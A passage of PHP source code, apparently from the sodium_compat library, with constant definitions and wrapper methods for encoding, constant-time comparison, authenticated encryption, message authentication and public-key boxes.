const CRYPTO_SECRETSTREAM_XCHACHA20POLY1305_KEYBYTES = 32;
const CRYPTO_SECRETSTREAM_XCHACHA20POLY1305_TAG_PUSH = 0;
const CRYPTO_SECRETSTREAM_XCHACHA20POLY1305_TAG_PULL = 1;
const CRYPTO_SECRETSTREAM_XCHACHA20POLY1305_TAG_REKEY = 2;
const CRYPTO_SECRETSTREAM_XCHACHA20POLY1305_TAG_FINAL = 3;
const CRYPTO_SECRETSTREAM_XCHACHA20POLY1305_MESSAGEBYTES_MAX = 0x3fffffff80;
const CRYPTO_SIGN_BYTES = 64;
const CRYPTO_SIGN_SEEDBYTES = 32;
const CRYPTO_SIGN_PUBLICKEYBYTES = 32;
const CRYPTO_SIGN_SECRETKEYBYTES = 64;
const CRYPTO_SIGN_KEYPAIRBYTES = 96;
const CRYPTO_STREAM_KEYBYTES = 32;
const CRYPTO_STREAM_NONCEBYTES = 24;
const CRYPTO_STREAM_XCHACHA20_KEYBYTES = 32;
const CRYPTO_STREAM_XCHACHA20_NONCEBYTES = 24;
/**
* Add two numbers (little-endian unsigned), storing the value in the first
* parameter.
*
* This mutates $val.
*
* @param string $val
* @param string $addv
* @return void
* @throws SodiumException
*/
public static function add(&$val, $addv)
{
$val_len = ParagonIE_Sodium_Core_Util::strlen($val);
$addv_len = ParagonIE_Sodium_Core_Util::strlen($addv);
if ($val_len !== $addv_len) {
throw new SodiumException('values must have the same length');
}
$A = ParagonIE_Sodium_Core_Util::stringToIntArray($val);
$B = ParagonIE_Sodium_Core_Util::stringToIntArray($addv);
$c = 0;
for ($i = 0; $i < $val_len; $i++) {
$c += ($A[$i] + $B[$i]);
$A[$i] = ($c & 0xff);
$c >>= 8;
}
$val = ParagonIE_Sodium_Core_Util::intArrayToString($A);
}
/**
* @param string $encoded
* @param int $variant
* @param string $ignore
* @return string
* @throws SodiumException
*/
public static function base642bin($encoded, $variant, $ignore = '')
{
/* Type checks: */
ParagonIE_Sodium_Core_Util::declareScalarType($encoded, 'string', 1);
/** @var string $encoded */
$encoded = (string) $encoded;
if (ParagonIE_Sodium_Core_Util::strlen($encoded) === 0) {
return '';
}
// Just strip before decoding
if (!empty($ignore)) {
$encoded = str_replace($ignore, '', $encoded);
}
try {
switch ($variant) {
case self::BASE64_VARIANT_ORIGINAL:
return ParagonIE_Sodium_Core_Base64_Original::decode($encoded, true);
case self::BASE64_VARIANT_ORIGINAL_NO_PADDING:
return ParagonIE_Sodium_Core_Base64_Original::decode($encoded, false);
case self::BASE64_VARIANT_URLSAFE:
return ParagonIE_Sodium_Core_Base64_UrlSafe::decode($encoded, true);
case self::BASE64_VARIANT_URLSAFE_NO_PADDING:
return ParagonIE_Sodium_Core_Base64_UrlSafe::decode($encoded, false);
default:
throw new SodiumException('invalid base64 variant identifier');
}
} catch (Exception $ex) {
if ($ex instanceof SodiumException) {
throw $ex;
}
throw new SodiumException('invalid base64 string');
}
}
/**
* @param string $decoded
* @param int $variant
* @return string
* @throws SodiumException
*/
public static function bin2base64($decoded, $variant)
{
/* Type checks: */
ParagonIE_Sodium_Core_Util::declareScalarType($decoded, 'string', 1);
/** @var string $decoded */
$decoded = (string) $decoded;
if (ParagonIE_Sodium_Core_Util::strlen($decoded) === 0) {
return '';
}
switch ($variant) {
case self::BASE64_VARIANT_ORIGINAL:
return ParagonIE_Sodium_Core_Base64_Original::encode($decoded);
case self::BASE64_VARIANT_ORIGINAL_NO_PADDING:
return ParagonIE_Sodium_Core_Base64_Original::encodeUnpadded($decoded);
case self::BASE64_VARIANT_URLSAFE:
return ParagonIE_Sodium_Core_Base64_UrlSafe::encode($decoded);
case self::BASE64_VARIANT_URLSAFE_NO_PADDING:
return ParagonIE_Sodium_Core_Base64_UrlSafe::encodeUnpadded($decoded);
default:
throw new SodiumException('invalid base64 variant identifier');
}
}
/**
* Cache-timing-safe implementation of bin2hex().
*
* @param string $string A string (probably raw binary)
* @return string A hexadecimal-encoded string
* @throws SodiumException
* @throws TypeError
* @psalm-suppress MixedArgument
*/
public static function bin2hex($string)
{
/* Type checks: */
ParagonIE_Sodium_Core_Util::declareScalarType($string, 'string', 1);
if (self::useNewSodiumAPI()) {
return (string) sodium_bin2hex($string);
}
if (self::use_fallback('bin2hex')) {
return (string) call_user_func('\\Sodium\\bin2hex', $string);
}
return ParagonIE_Sodium_Core_Util::bin2hex($string);
}
/**
* Compare two strings, in constant-time.
* Compared to memcmp(), compare() is more useful for sorting.
*
* @param string $left The left operand; must be a string
* @param string $right The right operand; must be a string
* @return int If < 0 if the left operand is less than the right
* If = 0 if both strings are equal
* If > 0 if the right operand is less than the left
* @throws SodiumException
* @throws TypeError
* @psalm-suppress MixedArgument
*/
public static function compare($left, $right)
{
/* Type checks: */
ParagonIE_Sodium_Core_Util::declareScalarType($left, 'string', 1);
ParagonIE_Sodium_Core_Util::declareScalarType($right, 'string', 2);
if (self::useNewSodiumAPI()) {
return (int) sodium_compare($left, $right);
}
if (self::use_fallback('compare')) {
return (int) call_user_func('\\Sodium\\compare', $left, $right);
}
return ParagonIE_Sodium_Core_Util::compare($left, $right);
}
/**
* Is AES-256-GCM even available to use?
*
* @return bool
* @psalm-suppress UndefinedFunction
* @psalm-suppress MixedInferredReturnType
* @psalm-suppress MixedReturnStatement
*/
public static function crypto_aead_aes256gcm_is_available()
{
if (self::useNewSodiumAPI()) {
return sodium_crypto_aead_aes256gcm_is_available();
}
if (self::use_fallback('crypto_aead_aes256gcm_is_available')) {
return call_user_func('\\Sodium\\crypto_aead_aes256gcm_is_available');
}
if (PHP_VERSION_ID < 70100) {
// OpenSSL doesn't support AEAD before 7.1.0
return false;
}
if (!is_callable('openssl_encrypt') || !is_callable('openssl_decrypt')) {
// OpenSSL isn't installed
return false;
}
return (bool) in_array('aes-256-gcm', openssl_get_cipher_methods());
}
/**
* Authenticated Encryption with Associated Data: Decryption
*
* Algorithm:
* AES-256-GCM
*
* This mode uses a 64-bit random nonce with a 64-bit counter.
* IETF mode uses a 96-bit random nonce with a 32-bit counter.
*
* @param string $ciphertext Encrypted message (with Poly1305 MAC appended)
* @param string $assocData Authenticated Associated Data (unencrypted)
* @param string $nonce Number to be used only Once; must be 8 bytes
* @param string $key Encryption key
*
* @return string|bool The original plaintext message
* @throws SodiumException
* @throws TypeError
* @psalm-suppress MixedArgument
* @psalm-suppress MixedInferredReturnType
* @psalm-suppress MixedReturnStatement
*/
public static function crypto_aead_aes256gcm_decrypt(
$ciphertext = '',
$assocData = '',
$nonce = '',
$key = ''
) {
if (!self::crypto_aead_aes256gcm_is_available()) {
throw new SodiumException('AES-256-GCM is not available');
}
ParagonIE_Sodium_Core_Util::declareScalarType($ciphertext, 'string', 1);
ParagonIE_Sodium_Core_Util::declareScalarType($assocData, 'string', 2);
ParagonIE_Sodium_Core_Util::declareScalarType($nonce, 'string', 3);
ParagonIE_Sodium_Core_Util::declareScalarType($key, 'string', 4);
/* Input validation: */
if (ParagonIE_Sodium_Core_Util::strlen($nonce) !== self::CRYPTO_AEAD_AES256GCM_NPUBBYTES) {
throw new SodiumException('Nonce must be CRYPTO_AEAD_AES256GCM_NPUBBYTES long');
}
if (ParagonIE_Sodium_Core_Util::strlen($key) !== self::CRYPTO_AEAD_AES256GCM_KEYBYTES) {
throw new SodiumException('Key must be CRYPTO_AEAD_AES256GCM_KEYBYTES long');
}
if (ParagonIE_Sodium_Core_Util::strlen($ciphertext) < self::CRYPTO_AEAD_AES256GCM_ABYTES) {
throw new SodiumException('Message must be at least CRYPTO_AEAD_AES256GCM_ABYTES long');
}
if (!is_callable('openssl_decrypt')) {
throw new SodiumException('The OpenSSL extension is not installed, or openssl_decrypt() is not available');
}
/** @var string $ctext */
$ctext = ParagonIE_Sodium_Core_Util::substr($ciphertext, 0, -self::CRYPTO_AEAD_AES256GCM_ABYTES);
/** @var string $authTag */
$authTag = ParagonIE_Sodium_Core_Util::substr($ciphertext, -self::CRYPTO_AEAD_AES256GCM_ABYTES, 16);
return openssl_decrypt(
$ctext,
'aes-256-gcm',
$key,
OPENSSL_RAW_DATA,
$nonce,
$authTag,
$assocData
);
}
/**
* Authenticated Encryption with Associated Data: Encryption
*
* Algorithm:
* AES-256-GCM
*
* @param string $plaintext Message to be encrypted
* @param string $assocData Authenticated Associated Data (unencrypted)
* @param string $nonce Number to be used only Once; must be 8 bytes
* @param string $key Encryption key
*
* @return string Ciphertext with a 16-byte GCM message
* authentication code appended
* @throws SodiumException
* @throws TypeError
* @psalm-suppress MixedArgument
*/
public static function crypto_aead_aes256gcm_encrypt(
$plaintext = '',
$assocData = '',
$nonce = '',
$key = ''
) {
if (!self::crypto_aead_aes256gcm_is_available()) {
throw new SodiumException('AES-256-GCM is not available');
}
ParagonIE_Sodium_Core_Util::declareScalarType($plaintext, 'string', 1);
ParagonIE_Sodium_Core_Util::declareScalarType($assocData, 'string', 2);
ParagonIE_Sodium_Core_Util::declareScalarType($nonce, 'string', 3);
ParagonIE_Sodium_Core_Util::declareScalarType($key, 'string', 4);
/* Input validation: */
if (ParagonIE_Sodium_Core_Util::strlen($nonce) !== self::CRYPTO_AEAD_AES256GCM_NPUBBYTES) {
throw new SodiumException('Nonce must be CRYPTO_AEAD_AES256GCM_NPUBBYTES long');
}
if (ParagonIE_Sodium_Core_Util::strlen($key) !== self::CRYPTO_AEAD_AES256GCM_KEYBYTES) {
throw new SodiumException('Key must be CRYPTO_AEAD_AES256GCM_KEYBYTES long');
}
if (!is_callable('openssl_encrypt')) {
throw new SodiumException('The OpenSSL extension is not installed, or openssl_encrypt() is not available');
}
$authTag = '';
$ciphertext = openssl_encrypt(
$plaintext,
'aes-256-gcm',
$key,
OPENSSL_RAW_DATA,
$nonce,
$authTag,
$assocData
);
return $ciphertext . $authTag;
}
/**
* Return a secure random key for use with the AES-256-GCM
* symmetric AEAD interface.
*
* @return string
* @throws Exception
* @throws Error
*/
public static function crypto_aead_aes256gcm_keygen()
{
return random_bytes(self::CRYPTO_AEAD_AES256GCM_KEYBYTES);
}
/**
* Authenticated Encryption with Associated Data: Decryption
*
* Algorithm:
* ChaCha20-Poly1305
*
* This mode uses a 64-bit random nonce with a 64-bit counter.
* IETF mode uses a 96-bit random nonce with a 32-bit counter.
*
* @param string $ciphertext Encrypted message (with Poly1305 MAC appended)
* @param string $assocData Authenticated Associated Data (unencrypted)
* @param string $nonce Number to be used only Once; must be 8 bytes
* @param string $key Encryption key
*
* @return string The original plaintext message
* @throws SodiumException
* @throws TypeError
* @psalm-suppress MixedArgument
* @psalm-suppress MixedInferredReturnType
* @psalm-suppress MixedReturnStatement
*/
public static function crypto_aead_chacha20poly1305_decrypt(
$ciphertext = '',
$assocData = '',
$nonce = '',
$key = ''
) {
/* Type checks: */
ParagonIE_Sodium_Core_Util::declareScalarType($ciphertext, 'string', 1);
ParagonIE_Sodium_Core_Util::declareScalarType($assocData, 'string', 2);
ParagonIE_Sodium_Core_Util::declareScalarType($nonce, 'string', 3);
ParagonIE_Sodium_Core_Util::declareScalarType($key, 'string', 4);
/* Input validation: */
if (ParagonIE_Sodium_Core_Util::strlen($nonce) !== self::CRYPTO_AEAD_CHACHA20POLY1305_NPUBBYTES) {
throw new SodiumException('Nonce must be CRYPTO_AEAD_CHACHA20POLY1305_NPUBBYTES long');
}
if (ParagonIE_Sodium_Core_Util::strlen($key) !== self::CRYPTO_AEAD_CHACHA20POLY1305_KEYBYTES) {
throw new SodiumException('Key must be CRYPTO_AEAD_CHACHA20POLY1305_KEYBYTES long');
}
if (ParagonIE_Sodium_Core_Util::strlen($ciphertext) < self::CRYPTO_AEAD_CHACHA20POLY1305_ABYTES) {
throw new SodiumException('Message must be at least CRYPTO_AEAD_CHACHA20POLY1305_ABYTES long');
}
if (self::useNewSodiumAPI()) {
/**
* @psalm-suppress InvalidReturnStatement
* @psalm-suppress FalsableReturnStatement
*/
return sodium_crypto_aead_chacha20poly1305_decrypt(
$ciphertext,
$assocData,
$nonce,
$key
);
}
if (self::use_fallback('crypto_aead_chacha20poly1305_decrypt')) {
return call_user_func(
'\\Sodium\\crypto_aead_chacha20poly1305_decrypt',
$ciphertext,
$assocData,
$nonce,
$key
);
}
if (PHP_INT_SIZE === 4) {
return ParagonIE_Sodium_Crypto32::aead_chacha20poly1305_decrypt(
$ciphertext,
$assocData,
$nonce,
$key
);
}
return ParagonIE_Sodium_Crypto::aead_chacha20poly1305_decrypt(
$ciphertext,
$assocData,
$nonce,
$key
);
}
/**
* Authenticated Encryption with Associated Data
*
* Algorithm:
* ChaCha20-Poly1305
*
* This mode uses a 64-bit random nonce with a 64-bit counter.
* IETF mode uses a 96-bit random nonce with a 32-bit counter.
*
* @param string $plaintext Message to be encrypted
* @param string $assocData Authenticated Associated Data (unencrypted)
* @param string $nonce Number to be used only Once; must be 8 bytes
* @param string $key Encryption key
*
* @return string Ciphertext with a 16-byte Poly1305 message
* authentication code appended
* @throws SodiumException
* @throws TypeError
* @psalm-suppress MixedArgument
*/
public static function crypto_aead_chacha20poly1305_encrypt(
$plaintext = '',
$assocData = '',
$nonce = '',
$key = ''
) {
/* Type checks: */
ParagonIE_Sodium_Core_Util::declareScalarType($plaintext, 'string', 1);
ParagonIE_Sodium_Core_Util::declareScalarType($assocData, 'string', 2);
ParagonIE_Sodium_Core_Util::declareScalarType($nonce, 'string', 3);
ParagonIE_Sodium_Core_Util::declareScalarType($key, 'string', 4);
/* Input validation: */
if (ParagonIE_Sodium_Core_Util::strlen($nonce) !== self::CRYPTO_AEAD_CHACHA20POLY1305_NPUBBYTES) {
throw new SodiumException('Nonce must be CRYPTO_AEAD_CHACHA20POLY1305_NPUBBYTES long');
}
if (ParagonIE_Sodium_Core_Util::strlen($key) !== self::CRYPTO_AEAD_CHACHA20POLY1305_KEYBYTES) {
throw new SodiumException('Key must be CRYPTO_AEAD_CHACHA20POLY1305_KEYBYTES long');
}
if (self::useNewSodiumAPI()) {
return (string) sodium_crypto_aead_chacha20poly1305_encrypt(
$plaintext,
$assocData,
$nonce,
$key
);
}
if (self::use_fallback('crypto_aead_chacha20poly1305_encrypt')) {
return (string) call_user_func(
'\\Sodium\\crypto_aead_chacha20poly1305_encrypt',
$plaintext,
$assocData,
$nonce,
$key
);
}
if (PHP_INT_SIZE === 4) {
return ParagonIE_Sodium_Crypto32::aead_chacha20poly1305_encrypt(
$plaintext,
$assocData,
$nonce,
$key
);
}
return ParagonIE_Sodium_Crypto::aead_chacha20poly1305_encrypt(
$plaintext,
$assocData,
$nonce,
$key
);
}
/**
* Authenticated Encryption with Associated Data: Decryption
*
* Algorithm:
* ChaCha20-Poly1305
*
* IETF mode uses a 96-bit random nonce with a 32-bit counter.
* Regular mode uses a 64-bit random nonce with a 64-bit counter.
*
* @param string $ciphertext Encrypted message (with Poly1305 MAC appended)
* @param string $assocData Authenticated Associated Data (unencrypted)
* @param string $nonce Number to be used only Once; must be 12 bytes
* @param string $key Encryption key
*
* @return string The original plaintext message
* @throws SodiumException
* @throws TypeError
* @psalm-suppress MixedArgument
* @psalm-suppress MixedInferredReturnType
* @psalm-suppress MixedReturnStatement
*/
public static function crypto_aead_chacha20poly1305_ietf_decrypt(
$ciphertext = '',
$assocData = '',
$nonce = '',
$key = ''
) {
/* Type checks: */
ParagonIE_Sodium_Core_Util::declareScalarType($ciphertext, 'string', 1);
ParagonIE_Sodium_Core_Util::declareScalarType($assocData, 'string', 2);
ParagonIE_Sodium_Core_Util::declareScalarType($nonce, 'string', 3);
ParagonIE_Sodium_Core_Util::declareScalarType($key, 'string', 4);
/* Input validation: */
if (ParagonIE_Sodium_Core_Util::strlen($nonce) !== self::CRYPTO_AEAD_CHACHA20POLY1305_IETF_NPUBBYTES) {
throw new SodiumException('Nonce must be CRYPTO_AEAD_CHACHA20POLY1305_IETF_NPUBBYTES long');
}
if (ParagonIE_Sodium_Core_Util::strlen($key) !== self::CRYPTO_AEAD_CHACHA20POLY1305_KEYBYTES) {
throw new SodiumException('Key must be CRYPTO_AEAD_CHACHA20POLY1305_KEYBYTES long');
}
if (ParagonIE_Sodium_Core_Util::strlen($ciphertext) < self::CRYPTO_AEAD_CHACHA20POLY1305_ABYTES) {
throw new SodiumException('Message must be at least CRYPTO_AEAD_CHACHA20POLY1305_ABYTES long');
}
if (self::useNewSodiumAPI()) {
/**
* @psalm-suppress InvalidReturnStatement
* @psalm-suppress FalsableReturnStatement
*/
return sodium_crypto_aead_chacha20poly1305_ietf_decrypt(
$ciphertext,
$assocData,
$nonce,
$key
);
}
if (self::use_fallback('crypto_aead_chacha20poly1305_ietf_decrypt')) {
return call_user_func(
'\\Sodium\\crypto_aead_chacha20poly1305_ietf_decrypt',
$ciphertext,
$assocData,
$nonce,
$key
);
}
if (PHP_INT_SIZE === 4) {
return ParagonIE_Sodium_Crypto32::aead_chacha20poly1305_ietf_decrypt(
$ciphertext,
$assocData,
$nonce,
$key
);
}
return ParagonIE_Sodium_Crypto::aead_chacha20poly1305_ietf_decrypt(
$ciphertext,
$assocData,
$nonce,
$key
);
}
/**
* Return a secure random key for use with the ChaCha20-Poly1305
* symmetric AEAD interface.
*
* @return string
* @throws Exception
* @throws Error
*/
public static function crypto_aead_chacha20poly1305_keygen()
{
return random_bytes(self::CRYPTO_AEAD_CHACHA20POLY1305_KEYBYTES);
}
/**
* Authenticated Encryption with Associated Data
*
* Algorithm:
* ChaCha20-Poly1305
*
* IETF mode uses a 96-bit random nonce with a 32-bit counter.
* Regular mode uses a 64-bit random nonce with a 64-bit counter.
*
* @param string $plaintext Message to be encrypted
* @param string $assocData Authenticated Associated Data (unencrypted)
* @param string $nonce Number to be used only Once; must be 8 bytes
* @param string $key Encryption key
*
* @return string Ciphertext with a 16-byte Poly1305 message
* authentication code appended
* @throws SodiumException
* @throws TypeError
* @psalm-suppress MixedArgument
*/
public static function crypto_aead_chacha20poly1305_ietf_encrypt(
$plaintext = '',
$assocData = '',
$nonce = '',
$key = ''
) {
/* Type checks: */
ParagonIE_Sodium_Core_Util::declareScalarType($plaintext, 'string', 1);
if (!is_null($assocData)) {
ParagonIE_Sodium_Core_Util::declareScalarType($assocData, 'string', 2);
}
ParagonIE_Sodium_Core_Util::declareScalarType($nonce, 'string', 3);
ParagonIE_Sodium_Core_Util::declareScalarType($key, 'string', 4);
/* Input validation: */
if (ParagonIE_Sodium_Core_Util::strlen($nonce) !== self::CRYPTO_AEAD_CHACHA20POLY1305_IETF_NPUBBYTES) {
throw new SodiumException('Nonce must be CRYPTO_AEAD_CHACHA20POLY1305_IETF_NPUBBYTES long');
}
if (ParagonIE_Sodium_Core_Util::strlen($key) !== self::CRYPTO_AEAD_CHACHA20POLY1305_KEYBYTES) {
throw new SodiumException('Key must be CRYPTO_AEAD_CHACHA20POLY1305_KEYBYTES long');
}
if (self::useNewSodiumAPI()) {
return (string) sodium_crypto_aead_chacha20poly1305_ietf_encrypt(
$plaintext,
$assocData,
$nonce,
$key
);
}
if (self::use_fallback('crypto_aead_chacha20poly1305_ietf_encrypt')) {
return (string) call_user_func(
'\\Sodium\\crypto_aead_chacha20poly1305_ietf_encrypt',
$plaintext,
$assocData,
$nonce,
$key
);
}
if (PHP_INT_SIZE === 4) {
return ParagonIE_Sodium_Crypto32::aead_chacha20poly1305_ietf_encrypt(
$plaintext,
$assocData,
$nonce,
$key
);
}
return ParagonIE_Sodium_Crypto::aead_chacha20poly1305_ietf_encrypt(
$plaintext,
$assocData,
$nonce,
$key
);
}
/**
* Return a secure random key for use with the ChaCha20-Poly1305
* symmetric AEAD interface. (IETF version)
*
* @return string
* @throws Exception
* @throws Error
*/
public static function crypto_aead_chacha20poly1305_ietf_keygen()
{
return random_bytes(self::CRYPTO_AEAD_CHACHA20POLY1305_IETF_KEYBYTES);
}
/**
* Authenticated Encryption with Associated Data: Decryption
*
* Algorithm:
* XChaCha20-Poly1305
*
* This mode uses a 64-bit random nonce with a 64-bit counter.
* IETF mode uses a 96-bit random nonce with a 32-bit counter.
*
* @param string $ciphertext Encrypted message (with Poly1305 MAC appended)
* @param string $assocData Authenticated Associated Data (unencrypted)
* @param string $nonce Number to be used only Once; must be 8 bytes
* @param string $key Encryption key
* @param bool $dontFallback Don't fallback to ext/sodium
*
* @return string|bool The original plaintext message
* @throws SodiumException
* @throws TypeError
* @psalm-suppress MixedArgument
*/
public static function crypto_aead_xchacha20poly1305_ietf_decrypt(
$ciphertext = '',
$assocData = '',
$nonce = '',
$key = '',
$dontFallback = false
) {
/* Type checks: */
ParagonIE_Sodium_Core_Util::declareScalarType($ciphertext, 'string', 1);
if (!is_null($assocData)) {
ParagonIE_Sodium_Core_Util::declareScalarType($assocData, 'string', 2);
} else {
$assocData = '';
}
ParagonIE_Sodium_Core_Util::declareScalarType($nonce, 'string', 3);
ParagonIE_Sodium_Core_Util::declareScalarType($key, 'string', 4);
/* Input validation: */
if (ParagonIE_Sodium_Core_Util::strlen($nonce) !== self::CRYPTO_AEAD_XCHACHA20POLY1305_IETF_NPUBBYTES) {
throw new SodiumException('Nonce must be CRYPTO_AEAD_XCHACHA20POLY1305_IETF_NPUBBYTES long');
}
if (ParagonIE_Sodium_Core_Util::strlen($key) !== self::CRYPTO_AEAD_XCHACHA20POLY1305_IETF_KEYBYTES) {
throw new SodiumException('Key must be CRYPTO_AEAD_XCHACHA20POLY1305_IETF_KEYBYTES long');
}
if (ParagonIE_Sodium_Core_Util::strlen($ciphertext) < self::CRYPTO_AEAD_XCHACHA20POLY1305_IETF_ABYTES) {
throw new SodiumException('Message must be at least CRYPTO_AEAD_XCHACHA20POLY1305_IETF_ABYTES long');
}
if (self::useNewSodiumAPI() && !$dontFallback) {
if (is_callable('sodium_crypto_aead_xchacha20poly1305_ietf_decrypt')) {
return sodium_crypto_aead_xchacha20poly1305_ietf_decrypt(
$ciphertext,
$assocData,
$nonce,
$key
);
}
}
if (PHP_INT_SIZE === 4) {
return ParagonIE_Sodium_Crypto32::aead_xchacha20poly1305_ietf_decrypt(
$ciphertext,
$assocData,
$nonce,
$key
);
}
return ParagonIE_Sodium_Crypto::aead_xchacha20poly1305_ietf_decrypt(
$ciphertext,
$assocData,
$nonce,
$key
);
}
/**
* Authenticated Encryption with Associated Data
*
* Algorithm:
* XChaCha20-Poly1305
*
* This mode uses a 64-bit random nonce with a 64-bit counter.
* IETF mode uses a 96-bit random nonce with a 32-bit counter.
*
* @param string $plaintext Message to be encrypted
* @param string $assocData Authenticated Associated Data (unencrypted)
* @param string $nonce Number to be used only Once; must be 8 bytes
* @param string $key Encryption key
* @param bool $dontFallback Don't fallback to ext/sodium
*
* @return string Ciphertext with a 16-byte Poly1305 message
* authentication code appended
* @throws SodiumException
* @throws TypeError
* @psalm-suppress MixedArgument
*/
public static function crypto_aead_xchacha20poly1305_ietf_encrypt(
$plaintext = '',
$assocData = '',
$nonce = '',
$key = '',
$dontFallback = false
) {
/* Type checks: */
ParagonIE_Sodium_Core_Util::declareScalarType($plaintext, 'string', 1);
if (!is_null($assocData)) {
ParagonIE_Sodium_Core_Util::declareScalarType($assocData, 'string', 2);
} else {
$assocData = '';
}
ParagonIE_Sodium_Core_Util::declareScalarType($nonce, 'string', 3);
ParagonIE_Sodium_Core_Util::declareScalarType($key, 'string', 4);
/* Input validation: */
if (ParagonIE_Sodium_Core_Util::strlen($nonce) !== self::CRYPTO_AEAD_XCHACHA20POLY1305_IETF_NPUBBYTES) {
throw new SodiumException('Nonce must be CRYPTO_AEAD_XCHACHA20POLY1305_NPUBBYTES long');
}
if (ParagonIE_Sodium_Core_Util::strlen($key) !== self::CRYPTO_AEAD_XCHACHA20POLY1305_IETF_KEYBYTES) {
throw new SodiumException('Key must be CRYPTO_AEAD_XCHACHA20POLY1305_KEYBYTES long');
}
if (self::useNewSodiumAPI() && !$dontFallback) {
if (is_callable('sodium_crypto_aead_xchacha20poly1305_ietf_encrypt')) {
return sodium_crypto_aead_xchacha20poly1305_ietf_encrypt(
$plaintext,
$assocData,
$nonce,
$key
);
}
}
if (PHP_INT_SIZE === 4) {
return ParagonIE_Sodium_Crypto32::aead_xchacha20poly1305_ietf_encrypt(
$plaintext,
$assocData,
$nonce,
$key
);
}
return ParagonIE_Sodium_Crypto::aead_xchacha20poly1305_ietf_encrypt(
$plaintext,
$assocData,
$nonce,
$key
);
}
/**
* Return a secure random key for use with the XChaCha20-Poly1305
* symmetric AEAD interface.
*
* @return string
* @throws Exception
* @throws Error
*/
public static function crypto_aead_xchacha20poly1305_ietf_keygen()
{
return random_bytes(self::CRYPTO_AEAD_XCHACHA20POLY1305_IETF_KEYBYTES);
}
/**
* Authenticate a message. Uses symmetric-key cryptography.
*
* Algorithm:
* HMAC-SHA512-256. Which is HMAC-SHA-512 truncated to 256 bits.
* Not to be confused with HMAC-SHA-512/256 which would use the
* SHA-512/256 hash function (uses different initial parameters
* but still truncates to 256 bits to sidestep length-extension
* attacks).
*
* @param string $message Message to be authenticated
* @param string $key Symmetric authentication key
* @return string Message authentication code
* @throws SodiumException
* @throws TypeError
* @psalm-suppress MixedArgument
*/
public static function crypto_auth($message, $key)
{
/* Type checks: */
ParagonIE_Sodium_Core_Util::declareScalarType($message, 'string', 1);
ParagonIE_Sodium_Core_Util::declareScalarType($key, 'string', 2);
/* Input validation: */
if (ParagonIE_Sodium_Core_Util::strlen($key) !== self::CRYPTO_AUTH_KEYBYTES) {
throw new SodiumException('Argument 2 must be CRYPTO_AUTH_KEYBYTES long.');
}
if (self::useNewSodiumAPI()) {
return (string) sodium_crypto_auth($message, $key);
}
if (self::use_fallback('crypto_auth')) {
return (string) call_user_func('\\Sodium\\crypto_auth', $message, $key);
}
if (PHP_INT_SIZE === 4) {
return ParagonIE_Sodium_Crypto32::auth($message, $key);
}
return ParagonIE_Sodium_Crypto::auth($message, $key);
}
/**
* @return string
* @throws Exception
* @throws Error
*/
public static function crypto_auth_keygen()
{
return random_bytes(self::CRYPTO_AUTH_KEYBYTES);
}
/**
* Verify the MAC of a message previously authenticated with crypto_auth.
*
* @param string $mac Message authentication code
* @param string $message Message whose authenticity you are attempting to
* verify (with a given MAC and key)
* @param string $key Symmetric authentication key
* @return bool TRUE if authenticated, FALSE otherwise
* @throws SodiumException
* @throws TypeError
* @psalm-suppress MixedArgument
*/
public static function crypto_auth_verify($mac, $message, $key)
{
/* Type checks: */
ParagonIE_Sodium_Core_Util::declareScalarType($mac, 'string', 1);
ParagonIE_Sodium_Core_Util::declareScalarType($message, 'string', 2);
ParagonIE_Sodium_Core_Util::declareScalarType($key, 'string', 3);
/* Input validation: */
if (ParagonIE_Sodium_Core_Util::strlen($mac) !== self::CRYPTO_AUTH_BYTES) {
throw new SodiumException('Argument 1 must be CRYPTO_AUTH_BYTES long.');
}
if (ParagonIE_Sodium_Core_Util::strlen($key) !== self::CRYPTO_AUTH_KEYBYTES) {
throw new SodiumException('Argument 3 must be CRYPTO_AUTH_KEYBYTES long.');
}
if (self::useNewSodiumAPI()) {
return (bool) sodium_crypto_auth_verify($mac, $message, $key);
}
if (self::use_fallback('crypto_auth_verify')) {
return (bool) call_user_func('\\Sodium\\crypto_auth_verify', $mac, $message, $key);
}
if (PHP_INT_SIZE === 4) {
return ParagonIE_Sodium_Crypto32::auth_verify($mac, $message, $key);
}
return ParagonIE_Sodium_Crypto::auth_verify($mac, $message, $key);
}
/**
* Authenticated asymmetric-key encryption. Both the sender and recipient
* may decrypt messages.
*
* Algorithm: X25519-XSalsa20-Poly1305.
* X25519: Elliptic-Curve Diffie Hellman over Curve25519.
* XSalsa20: Extended-nonce variant of salsa20.
* Poyl1305: Polynomial MAC for one-time message authentication.
*
* @param string $plaintext The message to be encrypted
* @param string $nonce A Number to only be used Once; must be 24 bytes
* @param string $keypair Your secret key and your recipient's public key
* @return string Ciphertext with 16-byte Poly1305 MAC
* @throws SodiumException
* @throws TypeError
* @psalm-suppress MixedArgument
*/
public static function crypto_box($plaintext, $nonce, $keypair)
{
/* Type checks: */
ParagonIE_Sodium_Core_Util::declareScalarType($plaintext, 'string', 1);
ParagonIE_Sodium_Core_Util::declareScalarType($nonce, 'string', 2);
ParagonIE_Sodium_Core_Util::declareScalarType($keypair, 'string', 3);
/* Input validation: */
if (ParagonIE_Sodium_Core_Util::strlen($nonce) !== self::CRYPTO_BOX_NONCEBYTES) {
throw new SodiumException('Argument 2 must be CRYPTO_BOX_NONCEBYTES long.');
}
if (ParagonIE_Sodium_Core_Util::strlen($keypair) !== self::CRYPTO_BOX_KEYPAIRBYTES) {
throw new SodiumException('Argument 3 must be CRYPTO_BOX_KEYPAIRBYTES long.');
}
if (self::useNewSodiumAPI()) {
return (string) sodium_crypto_box($plaintext, $nonce, $keypair);
}
if (self::use_fallback('crypto_box')) {
return (string) call_user_func('\\Sodium\\crypto_box', $plaintext, $nonce, $keypair);
}
if (PHP_INT_SIZE === 4) {
return ParagonIE_Sodium_Crypto32::box($plaintext, $nonce, $keypair);
}
return ParagonIE_Sodium_Crypto::box($plaintext, $nonce, $keypair);
}
/**
* Anonymous public-key encryption. Only the recipient may decrypt messages.
*
* Algorithm: X25519-XSalsa20-Poly1305, as with crypto_box.
* The sender's X25519 keypair is ephemeral.
* Nonce is generated from the BLAKE2b hash of both public keys.
*
* This provides ciphertext integrity.
*
* @param string $plaintext Message to be sealed
* @param string $publicKey Your recipient's public key
* @return string Sealed message that only your recipient can
* decrypt
* @throws SodiumException
* @throws TypeError
* @psalm-suppress MixedArgument
*/
public static function crypto_box_seal($plaintext, $publicKey)
{
/* Type checks: */
ParagonIE_Sodium_Core_Util::declareScalarType($plaintext, 'string', 1);
ParagonIE_Sodium_Core_Util::declareScalarType($publicKey, 'string', 2);
/* Input validation: */
